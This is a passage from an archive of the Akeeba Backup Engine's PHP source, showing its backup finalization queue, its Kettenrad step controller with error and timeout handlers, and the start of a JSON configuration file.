					'Failed to upload kickstart.php. Missing file %s',
					$filename
				)
			);

			// Indicate we're done.
			return true;
		}

		$exception          = null;
		$finishedProcessing = false;

		try
		{
			$finishedProcessing = $postProcEngine->processPart($filename, 'kickstart.php');
		}
		catch (Exception $e)
		{
			$exception = $e;
		}

		if (!is_null($exception))
		{
			Factory::getLog()->warning('Failed to upload kickstart.php');
			Factory::getLog()->warning('Error received from the post-processing engine:');
			$this->logErrorsFromException($exception, LogLevel::WARNING);
		}
		elseif ($finishedProcessing === true)
		{
			// The post-processing of this file ended successfully
			Factory::getLog()->info('Finished uploading kickstart.php');
			$configuration->set('volatile.postproc.filename', null);
		}

		// Indicate we're done
		return true;
	}
}com_akeeba/BackupEngine/Core/Domain/Finalization.php000060400000017171152455305260016416 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Core\Domain;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Base\Part;
use Akeeba\Engine\Core\Domain\Finalizer\LocalQuotas;
use Akeeba\Engine\Core\Domain\Finalizer\MailAdministrators;
use Akeeba\Engine\Core\Domain\Finalizer\ObsoleteRecordsQuotas;
use Akeeba\Engine\Core\Domain\Finalizer\PostProcessing;
use Akeeba\Engine\Core\Domain\Finalizer\RemoteQuotas;
use Akeeba\Engine\Core\Domain\Finalizer\RemoveTemporaryFiles;
use Akeeba\Engine\Core\Domain\Finalizer\UpdateFileSizes;
use Akeeba\Engine\Core\Domain\Finalizer\UpdateStatistics;
use Akeeba\Engine\Core\Domain\Finalizer\UploadKickstart;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use DateTime;
use Exception;
use Akeeba\Engine\Psr\Log\LogLevel;

/**
 * Backup finalization domain
 */
final class Finalization extends Part
{
	/** @var array The finalisation actions we have to execute (FIFO queue) */
	private $actionQueue = [];

	/** @var string The current method, shifted from the action queye */
	private $currentActionClass = '';

	private $currentActionObject = null;

	/** @var int How many finalisation steps I have already done */
	private $stepsDone = 0;

	/** @var int How many finalisation steps I have in total */
	private $stepsTotal = 0;

	/** @var int How many finalisation substeps I have already done */
	private $subStepsDone = 0;

	/** @var int How many finalisation substeps I have in total */
	private $subStepsTotal = 0;

	/**
	 * Get the percentage of finalization steps done
	 *
	 * @return  float
	 */
	public function getProgress()
	{
		if ($this->stepsTotal <= 0)
		{
			return 0;
		}

		$overall = $this->stepsDone / $this->stepsTotal;
		$local   = 0;

		if ($this->subStepsTotal > 0)
		{
			$local = $this->subStepsDone / $this->subStepsTotal;
		}

		return $overall + ($local / $this->stepsTotal);
	}

	/**
	 * Relays and logs an exception
	 *
	 * @param   \Throwable  $e         The exception or throwable to log
	 * @param   string      $logLevel  The log level to log it with
	 *
	 * @return  void
	 * @since   9.3.1
	 */
	public function relayException(\Throwable $e, string $logLevel = LogLevel::ERROR): void
	{
		self::logErrorsFromException($e, $logLevel);
	}

	/**
	 * Used by additional handler classes to relay their step to us
	 *
	 * @param   string  $step  The current step
	 */
	public function relayStep($step)
	{
		$this->setStep($step);
	}

	/**
	 * Used by additional handler classes to relay their substep to us
	 *
	 * @param   string  $substep  The current sub-step
	 */
	public function relaySubstep($substep)
	{
		$this->setSubstep($substep);
	}

	/**
	 * Implements the abstract method
	 *
	 * @return void
	 */
	protected function _finalize()
	{
		$this->setState(self::STATE_FINISHED);
	}

	/**
	 * Initialise the finalisation engine
	 */
	protected function _prepare()
	{
		// Make sure the break flag is not set
		$configuration = Factory::getConfiguration();
		$configuration->get('volatile.breakflag', false);

		// Get the quota actions
		$quotaActions = $configuration->get('volatile.core.finalization.quotaActions', null);

		$quotaActions = is_array($quotaActions) ? $quotaActions : [
			LocalQuotas::class,
			RemoteQuotas::class,
			ObsoleteRecordsQuotas::class,
		];

		// Get the default finalization actions
		$defaultActions = array_merge(
			[
				RemoveTemporaryFiles::class,
				UpdateStatistics::class,
				UpdateFileSizes::class,
				PostProcessing::class,
				UploadKickstart::class,
			],
			$quotaActions,
			[
				MailAdministrators::class,
				// Run it a second time to update the backup end time after post-processing, emails, etc
				UpdateStatistics::class,
			]
		);

		// Populate the actions queue, if it's not already set in a subclass
		$this->actionQueue = $this->actionQueue ?: $defaultActions;

		// Apply action queue customisations
		$customQueue       = $configuration->get('volatile.core.finalization.action_queue', null);
		$customQueueBefore = $configuration->get('volatile.core.finalization.action_queue_before', null);
		$customQueueAfter  = $configuration->get('volatile.core.finalization.action_queue_after', null);

		if (is_array($customQueue) && !empty($customQueue))
		{
			Factory::getLog()->debug('Overriding action queue');
			$this->actionQueue = $customQueue;
		}
		else
		{
			if (is_array($customQueueBefore) && !empty($customQueueBefore))
			{
				Factory::getLog()->debug('Adding finalization actions before post-processing');
				$before = array_slice($this->actionQueue, 0, 3);
				$after  = array_slice($this->actionQueue, 3);

				$this->actionQueue = array_merge($before, $customQueueBefore, $after);
			}

			if (is_array($customQueueAfter) && !empty($customQueueAfter))
			{
				Factory::getLog()->debug('Adding finalization actions at the end of the queue');
				$before = array_slice($this->actionQueue, 0, -1);
				$after  = array_slice($this->actionQueue, -1, 1);

				$this->actionQueue = array_merge($before, $customQueueAfter, $after);
			}
		}

		// Log the actions queue
		Factory::getLog()->debug('Finalization action queue: ' . implode(', ', $this->actionQueue));

		// Initialise actions processing
		$this->stepsTotal    = count($this->actionQueue);
		$this->stepsDone     = 0;
		$this->subStepsTotal = 0;
		$this->subStepsDone  = 0;

		// Seed the method
		$this->currentActionClass = array_shift($this->actionQueue);

		// Set ourselves to running state
		$this->setState(self::STATE_RUNNING);
	}

	/**
	 * Implements the abstract method
	 *
	 * @return  void
	 */
	protected function _run()
	{
		$configuration = Factory::getConfiguration();

		if ($this->getState() == self::STATE_POSTRUN)
		{
			return;
		}

		$finished = (empty($this->actionQueue)) && ($this->currentActionClass == '');

		if ($finished)
		{
			$this->setState(self::STATE_POSTRUN);

			return;
		}

		$this->setState(self::STATE_RUNNING);

		$timer = Factory::getTimer();

		// Continue processing while we have still enough time and stuff to do
		while (($timer->getTimeLeft() > 0) && (!$finished) && (!$configuration->get('volatile.breakflag', false)))
		{
			if (empty($this->currentActionObject))
			{
				$className = $this->currentActionClass;

				Factory::getLog()->debug(__CLASS__ . "::_run() Running new finalization object $className");

				$this->currentActionObject = new $className($this);
			}
			else
			{
				Factory::getLog()->debug(__CLASS__ . "::_run() Resuming finalization object $this->currentActionClass");
			}

			$finalizer = $this->currentActionObject;

			if ($finalizer() !== true)
			{
				continue;
			}

			$this->currentActionClass  = '';
			$this->currentActionObject = null;
			$this->stepsDone++;
			$finished = empty($this->actionQueue);

			if ($finished)
			{
				continue;
			}

			$this->currentActionClass = array_shift($this->actionQueue);
			$this->subStepsTotal      = 0;
			$this->subStepsDone       = 0;
		}

		if ($finished)
		{
			$this->setState(self::STATE_POSTRUN);
			$this->setStep('');
			$this->setSubstep('');
		}
	}
}
com_akeeba/BackupEngine/Core/Kettenrad.php000060400000061166152455305260014504 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Core;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Base\Part;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Exception;
use RuntimeException;
use Throwable;

/**
 * Kettenrad is the main controller of Akeeba Engine. It's responsible for setting the engine into motion, running each
 * and all domain objects to their completion.
 */
class Kettenrad extends Part
{
	/**
	 * Set to true when akeebaBackupErrorHandler is registered as an error handler
	 *
	 * @var bool
	 */
	public static $registeredErrorHandler = false;

	/**
	 * Set to true when deadOnTimeout is registered as a shutdown function
	 *
	 * @var bool
	 */
	public static $registeredShutdownCallback = false;

	/**
	 * Cached copy of the response array
	 *
	 * @var array
	 */
	private $array_cache = null;

	/**
	 * A unique backup ID which allows us to run multiple parallel backups using the same backup origin (tag)
	 *
	 * @var string
	 */
	private $backup_id = '';

	/**
	 * The active domain's class name
	 *
	 * @var string
	 */
	private $class = '';

	/**
	 * The current domain's name
	 *
	 * @var string
	 */
	private $domain = '';

	/**
	 * The list of remaining steps
	 *
	 * @var array
	 */
	private $domain_chain = [];

	/**
	 * The current backup's tag (actually: the backup's origin)
	 *
	 * @var string
	 */
	private $tag = null;

	/**
	 * How many steps the domain_chain array contained when the backup began. Used for percentage calculations.
	 *
	 * @var int
	 */
	private $total_steps = 0;

	/**
	 * Set to true when there are warnings available when getStatusArray() is called. This is used at the end of the
	 * backup to send a different push message depending on whether the backup completed with or without warnings.
	 *
	 * @var  bool
	 */
	private $warnings_issued = false;

	/**
	 * Kettenrad constructor.
	 *
	 * Overrides the Part constructor to initialize Kettenrad-specific properties.
	 *
	 * @return void
	 */
	public function __construct()
	{
		parent::__construct();

		// Register the error handler
		if (!static::$registeredErrorHandler)
		{
			static::$registeredErrorHandler = true;
			set_error_handler('\\Akeeba\\Engine\\Core\\akeebaEngineErrorHandler');
		}
	}

	public function _onSerialize()
	{
		parent::_onSerialize();

		$this->array_cache = null;
	}


	/**
	 * Returns the unique Backup ID
	 *
	 * @return string
	 */
	public function getBackupId()
	{
		return $this->backup_id;
	}

	/**
	 * Sets the unique backup ID.
	 *
	 * @param   string  $backup_id
	 *
	 * @return void
	 */
	public function setBackupId($backup_id = null)
	{
		$this->backup_id = $backup_id;
	}

	/**
	 * Gets the percentage of the backup process done so far.
	 *
	 * @return string
	 */
	public function getProgress()
	{
		// Get the overall percentage (based on domains complete so far)
		$remainingSteps = count($this->domain_chain) + 1;
		$totalSteps     = max($this->total_steps, 1);
		$overall        = 1 - ($remainingSteps / $totalSteps);

		// How much is this step worth?
		$currentStepMaxContribution = 1 / $totalSteps;

		// Get the percentage reported from the domain object, zero if we can't get a domain object.
		$object = !empty($this->class) ? Factory::getDomainObject($this->class) : null;
		$local  = is_object($object) ? $object->getProgress() : 0;

		// Calculate the percentage and apply [0, 100] bounds.
		$percentage = (int) (100 * ($overall + $local * $currentStepMaxContribution));
		$percentage = max(0, $percentage);
		$percentage = min(100, $percentage);

		return $percentage;
	}

	/**
	 * Returns a copy of the class's status array
	 *
	 * @return array
	 */
	public function getStatusArray()
	{
		// Get the cached array
		if (!empty($this->array_cache))
		{
			return $this->array_cache;
		}

		// Get the default table
		$array = $this->makeReturnTable();

		// Add the warnings
		$array['Warnings'] = Factory::getLog()->getWarnings();

		// Did we have warnings?
		if (is_array($array['Warnings']) || $array['Warnings'] instanceof \Countable ? count($array['Warnings']) : 0)
		{
			$this->warnings_issued = true;
		}

		// Get the current step number
		$stepCounter = Factory::getConfiguration()->get('volatile.step_counter', 0);

		// Add the archive name
		$statistics       = Factory::getStatistics();
		$record           = $statistics->getRecord();
		$array['Archive'] = $record['archivename'] ?? '';

		// Translate HasRun to what the rest of the suite expects
		$array['HasRun'] = ($this->getState() == self::STATE_FINISHED) ? 1 : 0;

		$array['Error']      = is_null($array['ErrorException']) ? '' : $array['Error'];
		$array['tag']        = $this->tag;
		$array['Progress']   = $this->getProgress();
		$array['backupid']   = $this->getBackupId();
		$array['sleepTime']  = $this->waitTimeMsec;
		$array['stepNumber'] = $stepCounter;
		$array['stepState']  = $this->stateToString($this->getState());

		$this->array_cache = $array;

		return $this->array_cache;
	}

	/**
	 * Returns the current backup tag. If none is specified, it sets it to be the
	 * same as the current backup origin and returns the new setting.
	 *
	 * @return string
	 */
	public function getTag()
	{
		if (empty($this->tag))
		{
			// If no tag exists, we resort to the pre-set backup origin
			$tag       = Platform::getInstance()->get_backup_origin();
			$this->tag = $tag;
		}

		return $this->tag;
	}

	/**
	 * Obsolete method.
	 *
	 * @deprecated 7.0
	 */
	public function resetWarnings()
	{
		Factory::getLog()->debug('DEPRECATED: Akeeba Engine consumers must remove calls to resetWarnings()');
	}

	/**
	 * The public interface to Kettenrad.
	 *
	 * Internally it calls Part::tick(), wrapped in a try-catch block which traps any runaway Exception (PHP 5) or
	 * Throwable we didn't manage to successfully suppress yet.
	 *
	 * @param   int  $nesting
	 *
	 * @return  array  A response array
	 */
	public function tick($nesting = 0)
	{
		$ret = null;
		$e   = null;

		// PHP 7.x -- catch any unhandled Throwable, including PHP fatal errors
		try
		{
			$ret = parent::tick($nesting);
		}
		catch (Throwable $e)
		{
			$this->setState(self::STATE_ERROR);
			$this->lastException = $e;
		}

		// If an error occurred we don't have a return table. If that's the case create one and do log our errors.
		if (!isset($ret))
		{
			// Log the existence of an unhandled exception
			Factory::getLog()->warning("Kettenrad :: Caught unhandled exception. The backup will now fail.");

			// Recursively log unhandled exceptions
			self::logErrorsFromException($e);

			// Create the missing return table
			$ret               = $this->makeReturnTable();
			$this->array_cache = array_merge(is_null($this->array_cache) ? [] : $this->array_cache, $ret);
		}

		return $ret;
	}

	/**
	 * Finalization. Sets the state to STATE_FINISHED.
	 *
	 * @return  void
	 */
	protected function _finalize()
	{
		// Open the log
		$logTag = $this->getLogTag();
		Factory::getLog()->open($logTag);

		// Kill the cached array
		$this->array_cache = null;

		// Remove the memory file
		$tempVarsTag = $this->tag . (empty($this->backup_id) ? '' : ('.' . $this->backup_id));
		Factory::getFactoryStorage()->reset($tempVarsTag);

		// All done.
		Factory::getLog()->debug("Kettenrad :: Just finished");
		$this->setState(self::STATE_FINISHED);

		// Send a push message to mark the end of backup
		$pushSubjectKey = $this->warnings_issued ? 'COM_AKEEBA_PUSH_ENDBACKUP_WARNINGS_SUBJECT' : 'COM_AKEEBA_PUSH_ENDBACKUP_SUCCESS_SUBJECT';
		$pushBodyKey    = $this->warnings_issued ? 'COM_AKEEBA_PUSH_ENDBACKUP_WARNINGS_BODY' : 'COM_AKEEBA_PUSH_ENDBACKUP_SUCCESS_BODY';
		$platform       = Platform::getInstance();
		$timeStamp      = date($platform->translate('DATE_FORMAT_LC2'));
		$pushSubject    = sprintf($platform->translate($pushSubjectKey), $platform->get_site_name(), $platform->get_host());
		$pushDetails    = sprintf($platform->translate($pushBodyKey), $platform->get_site_name(), $platform->get_host(), $timeStamp);

		try
		{
			Factory::getPush()->message($pushSubject, $pushDetails);
		}
		catch (Throwable $e)
		{
			Factory::getLog()->notice(sprintf("Sending push notification failed: %s", $e->getMessage()));
		}
	}

	/**
	 * Initialization. Sets the state to STATE_PREPARED.
	 *
	 * @return  void
	 */
	protected function _prepare()
	{
		// Initialize the timer class. Do not remove, even though we don't use the object it needs to be initialized!
		$timer = Factory::getTimer();

		// Do we have a tag?
		if (!empty($this->_parametersArray['tag']))
		{
			$this->tag = $this->_parametersArray['tag'];
		}

		// Make sure a tag exists (or create a new one)
		$this->tag = $this->getTag();

		// Reset the log
		$logTag = $this->getLogTag();
		Factory::getLog()->open($logTag);
		Factory::getLog()->reset($logTag);

		// Reset the storage
		$factoryStorageTag = $this->tag . (empty($this->backup_id) ? '' : ('.' . $this->backup_id));
		Factory::getFactoryStorage()->reset($factoryStorageTag);

		// Apply the configuration overrides
		$overrides = Platform::getInstance()->configOverrides;

		if (is_array($overrides) && @count($overrides))
		{
			$registry       = Factory::getConfiguration();
			$protected_keys = $registry->getProtectedKeys();
			$registry->resetProtectedKeys();

			foreach ($overrides as $k => $v)
			{
				$registry->set($k, $v);
			}

			$registry->setProtectedKeys($protected_keys);
		}

		// Get the domain chain
		$this->domain_chain = Factory::getEngineParamsProvider()->getDomainChain();
		$this->total_steps  = count($this->domain_chain) - 1; // Init shouldn't count in the progress bar

		// Mark this engine for Nesting Logging
		$this->nest_logging = true;

		// Preparation is over
		$this->array_cache = null;
		$this->setState(self::STATE_PREPARED);

		// Send a push message to mark the start of backup
		$platform    = Platform::getInstance();
		$timeStamp   = date($platform->translate('DATE_FORMAT_LC2'));
		$pushSubject = sprintf($platform->translate('COM_AKEEBA_PUSH_STARTBACKUP_SUBJECT'), $platform->get_site_name(), $platform->get_host());
		$pushDetails = sprintf($platform->translate('COM_AKEEBA_PUSH_STARTBACKUP_BODY'), $platform->get_site_name(), $platform->get_host(), $timeStamp, $this->getLogTag());

		try
		{
			Factory::getPush()->message($pushSubject, $pushDetails);
		}
		catch (Throwable $e)
		{
			Factory::getLog()->notice(sprintf("Sending push notification failed: %s", $e->getMessage()));
		}
	}

	/**
	 * Main backup process. Sets the state to STATE_RUNNING or STATE_POSTRUN.
	 *
	 * @return  void
	 */
	protected function _run()
	{
		$result = null;
		$logTag = $this->getLogTag();
		$logger = Factory::getLog();
		$logger->open($logTag);

		// Maybe we're already done or in an error state?
		if (in_array($this->getState(), [self::STATE_POSTRUN, self::STATE_ERROR]))
		{
			return;
		}

		// Set running state
		$this->setState(self::STATE_RUNNING);

		// Do I even have enough time...?
		$timer    = Factory::getTimer();
		$registry = Factory::getConfiguration();

		if (($timer->getTimeLeft() <= 0))
		{
			// We need to set the break flag for the part processing to not batch successive steps
			$registry->set('volatile.breakflag', true);

			return;
		}

		// Initialize operation counter
		$registry->set('volatile.operation_counter', 0);

		// Advance step counter
		$stepCounter = $registry->get('volatile.step_counter', 0);
		$registry->set('volatile.step_counter', ++$stepCounter);

		// Log step start number
		$logger->debug('====== Starting Step number ' . $stepCounter . ' ======');

		if (defined('AKEEBADEBUG'))
		{
			$root = Platform::getInstance()->get_site_root();
			$logger->debug('Site root: ' . $root);
		}

		$finished = false;
		$error    = false;
		// BREAKFLAG is optionally passed by domains to force-break current operation
		$breakFlag = false;

		// Apply an infinite time limit if required
		if ($registry->get('akeeba.tuning.settimelimit', 0))
		{
			if (function_exists('ini_set'))
			{
				@ini_set('max_execution_time', 844000);
			}

			if (function_exists('set_time_limit'))
			{
				set_time_limit(0);
			}
		}

		// Apply a large memory limit (1Gb) if required
		if ($registry->get('akeeba.tuning.setmemlimit', 0))
		{
			if (function_exists('ini_set'))
			{
				ini_set('memory_limit', '17179869184');
			}
		}

		// Update statistics, marking the backup as currently processing a backup step.
		Factory::getStatistics()->updateInStep(true);

		// Loop until time's up, we're done or an error occurred, or BREAKFLAG is set
		$this->array_cache = null;
		$object            = null;

		while (($timer->getTimeLeft() > 0) && (!$finished) && (!$error) && (!$breakFlag))
		{
			// Reset the break flag
			$registry->set('volatile.breakflag', false);

			// Do we have to switch domains? This only happens if there is no active
			// domain, or the current domain has finished
			$have_to_switch = false;
			$object         = null;

			if ($this->class == '')
			{
				$have_to_switch = true;
			}
			else
			{
				$object = Factory::getDomainObject($this->class);

				if (!is_object($object))
				{
					$have_to_switch = true;
				}
				elseif (!in_array('getState', get_class_methods($object)))
				{
					$have_to_switch = true;
				}
				elseif ($object->getState() == self::STATE_FINISHED)
				{
					$have_to_switch = true;
				}
			}

			// Switch domain if necessary
			if ($have_to_switch)
			{
				$logger->debug('Kettenrad :: Switching domains');

				if (!Factory::getConfiguration()->get('akeeba.tuning.nobreak.domains', 0))
				{
					$logger->debug("Kettenrad :: BREAKING STEP BEFORE SWITCHING DOMAIN");
					$registry->set('volatile.breakflag', true);
				}

				// Free last domain
				$object = null;

				if (empty($this->domain_chain))
				{
					// Aw, we're done! No more domains to run.
					$this->setState(self::STATE_POSTRUN);
					$logger->debug("Kettenrad :: No more domains to process");
					$logger->debug('====== Finished Step number ' . $stepCounter . ' ======');
					$this->array_cache = null;

					return;
				}

				// Shift the next definition off the stack
				$this->array_cache = null;
				$new_definition    = array_shift($this->domain_chain);

				if (array_key_exists('class', $new_definition))
				{
					$logger->debug("Switching to domain {$new_definition['domain']}, class {$new_definition['class']}");
					$this->domain = $new_definition['domain'];
					$this->class  = $new_definition['class'];
					// Get a working object
					$object = Factory::getDomainObject($this->class);
					$object->setup($this->_parametersArray);
				}
				else
				{
					$logger->warning("Kettenrad :: No class defined trying to switch domains. The backup will crash.");
					$this->domain = null;
					$this->class  = null;
				}
			}
			elseif (!is_object($object))
			{
				$logger->debug("Kettenrad :: Getting domain object of class {$this->class}");
				$object = Factory::getDomainObject($this->class);
			}


			// Tick the object
			$logger->debug('Kettenrad :: Ticking the domain object');
			$this->lastException = null;

			try
			{
				// We ask the domain object to execute and return its output array
				$result = $object->tick();

				$hasErrorException = array_key_exists('ErrorException', $result) && is_object($result['ErrorException']);
				$hasErrorString    = array_key_exists('Error', $result) && !empty($result['Error']);

				/**
				 * Legacy objects may not be throwing exceptions on error, instead returning an Error string in the
				 * output array. The code below addresses this discrepancy.
				 */
				if (!$hasErrorException && $hasErrorString)
				{
					$result['ErrorException'] = new RuntimeException($result['Error']);
					$hasErrorException        = true;
				}

				/**
				 * Some domain objects may be acting as nested Parts, e.g. the Database domain. In this case the
				 * internal Engine (itself a Part object) is absorbing the thrown exception and relays it in the output
				 * table's ErrorException key. This means that the code above will NOT catch the error. This code below
				 * addresses that situation by rethrowing the exception.
				 *
				 * Practical example: cannot connect to MySQL is thrown by the MySQL Dump engine. The Native database
				 * backup engine absorbs the exception and reports it back to the Database domain object through the
				 * returned output array. However, the Database domain object does not rethrow it, simply relaying it
				 * back to Kettenrad through its own returned output array. As a result we enter an infinite loop where
				 * Kettenrad asks the Database domain to tick, it asks the Native engine to tick which asks the MySQL
				 * Dump object to tick. However the latter fails again to connect to MySQL and the whole process is
				 * repeated ad nauseam. By rethrowing the propagated ErrorException we alleviate this problem.
				 */
				if ($hasErrorException)
				{
					throw $result['ErrorException'];
				}

				$logger->debug('Kettenrad :: Domain object returned without errors; propagating');
			}
			catch (Exception $e)
			{
				/**
				 * Exceptions are used to propagate error conditions through the engine. Catching them and storing them
				 * in $this->lastException lets us detect and report the error condition in Kettenrad, the integration-
				 * facing interface of the backup engine.
				 */
				$this->lastException = $e;

				$logger->debug('Kettenrad :: Domain object returned with errors; propagating');

				self::logErrorsFromException($this->lastException);

				$this->setState(self::STATE_ERROR);
			}

			// Advance operation counter
			$currentOperationNumber = $registry->get('volatile.operation_counter', 0);
			$currentOperationNumber++;
			$registry->set('volatile.operation_counter', $currentOperationNumber);

			// Process return array
			$this->setDomain($this->domain);
			$this->setStep($result['Step']);
			$this->setSubstep($result['Substep']);

			// Check for BREAKFLAG
			$breakFlag = $registry->get('volatile.breakflag', false);
			$logger->debug("Kettenrad :: Break flag status: " . ($breakFlag ? 'YES' : 'no'));

			// Process errors
			$error = $this->getState() === self::STATE_ERROR;

			// Check if the backup procedure should finish now
			$finished = $error ? true : !($result['HasRun']);

			// Log operation end
			$logger->debug('----- Finished operation ' . $currentOperationNumber . ' ------');
		}

		// Log the result
		$objectStepType = is_object($object) ? get_class($object) : 'INVALID OBJECT';

		if (!is_object($object))
		{
			$reason = ($timer->getTimeLeft() <= 0)
				? 'we already ran out of time'
				: 'a step break has already been requested';
			$logger->debug(
				sprintf(
					"Finishing step immediately because %s", $reason
				)
			);
		}
		elseif (!$error)
		{
			$logger->debug("Successful Smart algorithm on " . $objectStepType);
		}
		else
		{
			$logger->error("Failed Smart algorithm on " . $objectStepType);
		}

		// Log if we have to do more work or not
		/**
		 * The domain object is not set in the following cases:
		 *
		 * - There is no time left, the while loop never ran.
		 * - The break flag was already set, the while loop never ran.
		 * - We are already finished, the while loop never ran. Shouldn't happen, the step status is set to POSTRUN.
		 * - There was an error, the while loop never ran. Shouldn't happen, we return immediately upon an error.
		 * - We tried to go to the next domain but something went wrong. Shouldn't happen.
		 *
		 * If we get to a condition that shouldn't happen we will throw a Runtime exception. In any other case we let
		 * the step finish.
		 */
		if (!is_object($object) && ($timer->getTimeLeft() > 0) && !$breakFlag)
		{
			throw new RuntimeException(
				sprintf(
					"Kettenrad :: Empty object found when processing domain '%s'. This should never happen.",
					$this->domain
				)
			);
		}
		/** @noinspection PhpStatementHasEmptyBodyInspection */
		elseif (!is_object($object))
		{
			// This is an expected case.
			// I have to use an empty case because $object->getState() below would cause a PHP error on a NULL variable.
		}
		elseif ($object->getState() == self::STATE_RUNNING)
		{
			$logger->debug("Kettenrad :: More work required in domain '" . $this->domain . "'");
			// We need to set the break flag for the part processing to not batch successive steps
			$registry->set('volatile.breakflag', true);
		}
		elseif ($object->getState() == self::STATE_FINISHED)
		{
			$logger->debug("Kettenrad :: Domain '" . $this->domain . "' has finished.");
			$registry->set('volatile.breakflag', false);
		}
		elseif ($object->getState() == self::STATE_ERROR)
		{
			$logger->debug("Kettenrad :: Domain '" . $this->domain . "' has experienced an error.");
			$registry->set('volatile.breakflag', false);
		}

		// Log step end
		$logger->debug('====== Finished Step number ' . $stepCounter . ' ======');

		// Update statistics, marking the backup as having just finished processing a backup step.
		Factory::getStatistics()->updateInStep(false);

		if (!$registry->get('akeeba.tuning.nobreak.domains', 0))
		{
			// Force break between steps
			$logger->debug('Kettenrad :: Setting the break flag between domains');
			$registry->set('volatile.breakflag', true);
		}
	}

	/**
	 * Returns the tag used to open the correct log file
	 *
	 * @return string
	 */
	protected function getLogTag()
	{
		$tag = $this->getTag();

		if (!empty($this->backup_id))
		{
			$tag .= '.' . $this->backup_id;
		}

		return $tag;
	}
}

/**
 * Timeout error handler
 */
function akeebaEnginePHPTimeoutHandler()
{
	if (connection_status() == 1)
	{
		Factory::getLog()->error('The process was aborted on user\'s request');

		return;
	}

	if (connection_status() >= 2)
	{
		Factory::getLog()->error('Akeeba Backup has timed out. Please read the documentation.');

		return;
	}
}

// Register the timeout error handler
if (!Kettenrad::$registeredShutdownCallback)
{
	Kettenrad::$registeredShutdownCallback = true;

	register_shutdown_function("\\Akeeba\\Engine\\Core\\akeebaEnginePHPTimeoutHandler");
}

/**
 * Custom PHP error handler to log catchable PHP errors to the backup log file
 *
 * @param   int     $errno
 * @param   string  $errstr
 * @param   string  $errfile
 * @param   int     $errline
 *
 * @return bool|null
 */
function akeebaEngineErrorHandler($errno, $errstr, $errfile, $errline)
{
	// Sanity check
	if (!function_exists('error_reporting'))
	{
		return false;
	}

	// Do not proceed if the error springs from an @function() construct, or if
	// the overall error reporting level is set to report no errors.
	$error_reporting = error_reporting();

	if ($error_reporting == 0)
	{
		return false;
	}

	$loggable = false;
	$type     = '';
	$logMode  = 'debug';

	switch ($errno)
	{
		case E_ERROR:
		case E_USER_ERROR:
		case E_RECOVERABLE_ERROR:
			/**
			 * This will only work for E_RECOVERABLE_ERROR and E_USER_ERROR, not E_ERROR. In PHP 7 all errors throw an
			 * Error throwable (a special kind of exception) which propagates nicely within our architecture.
			 */
			Factory::getLog()->error("PHP FATAL ERROR on line $errline in file $errfile:");
			Factory::getLog()->error($errstr);
			Factory::getLog()->error("Execution aborted due to PHP fatal error");
			break;

		case E_WARNING:
			$loggable = true;
			$type     = 'WARNING';
			$logMode  = defined('AKEEBADEBUG') ? 'warning' : 'debug';

			break;

		case E_USER_WARNING:
			$loggable = defined('AKEEBADEBUG');
			$type     = 'User Warning';
			break;

		case E_NOTICE:
			$loggable = defined('AKEEBADEBUG');
			$type     = 'Notice';
			break;

		case E_USER_NOTICE:
			$loggable = defined('AKEEBADEBUG');
			$type     = 'User Notice';
			break;

		case E_DEPRECATED:
			$loggable = defined('AKEEBADEBUG');
			$type     = 'Deprecated';
			break;

		case E_USER_DEPRECATED:
			$loggable = defined('AKEEBADEBUG');
			$type     = 'User Deprecated';
			break;

		case E_STRICT:
			$loggable = defined('AKEEBADEBUG');
			$type     = 'Strict Notice';
			break;

		default:
			// These are E_DEPRECATED, E_STRICT etc. Let PHP handle them
			return false;

			break;
	}

	if ($loggable)
	{
		Factory::getLog()->{$logMode}("PHP $type (not an error; you can ignore) on line $errline in file $errfile:");
		Factory::getLog()->{$logMode}($errstr);
	}

	// Uncomment to prevent the execution of PHP's internal error handler
	//return true;

	// Let PHP's internal error handler take care of the error.
	return false;
}
com_akeeba/BackupEngine/Core/02.advanced.json000060400000002341152455305260014720 0ustar00{
    "_group": {
        "description": "COM_AKEEBA_CONFIG_ADVANCED"
    },
    "akeeba.advanced.dump_engine": {
        "default": "native",
        "type": "engine",
        "subtype": "dump",
        "protected": "1",
        "title": "COM_AKEEBA_CONFIG_DUMPENGINE_TITLE",
        "description": "COM_AKEEBA_CONFIG_DUMPENGINE_DESCRIPTION"
    },
    "akeeba.advanced.scan_engine": {
        "default": "smart",
        "type": "engine",
        "subtype": "scan",
        "protected": "1",
        "title": "COM_AKEEBA_CONFIG_SCANENGINE_TITLE",
        "description": "COM_AKEEBA_CONFIG_SCANENGINE_DESCRIPTION"
    },
    "akeeba.advanced.archiver_engine": {
        "default": "jpa",
        "type": "engine",
        "subtype": "archiver",
        "title": "COM_AKEEBA_CONFIG_ARCHIVERENGINE_TITLE",
        "description": "COM_AKEEBA_CONFIG_ARCHIVERENGINE_DESCRIPTION"
    },
    "akeeba.advanced.postproc_engine": {
        "default": "none",
        "type": "none",
        "protected": "1"
    },
    "akeeba.advanced.embedded_installer": {
        "default": "angie",
        "type": "none",
        "protected": "1"
    },
    "engine.installer.angie.key": {
        "default": "",
        "type": "none",
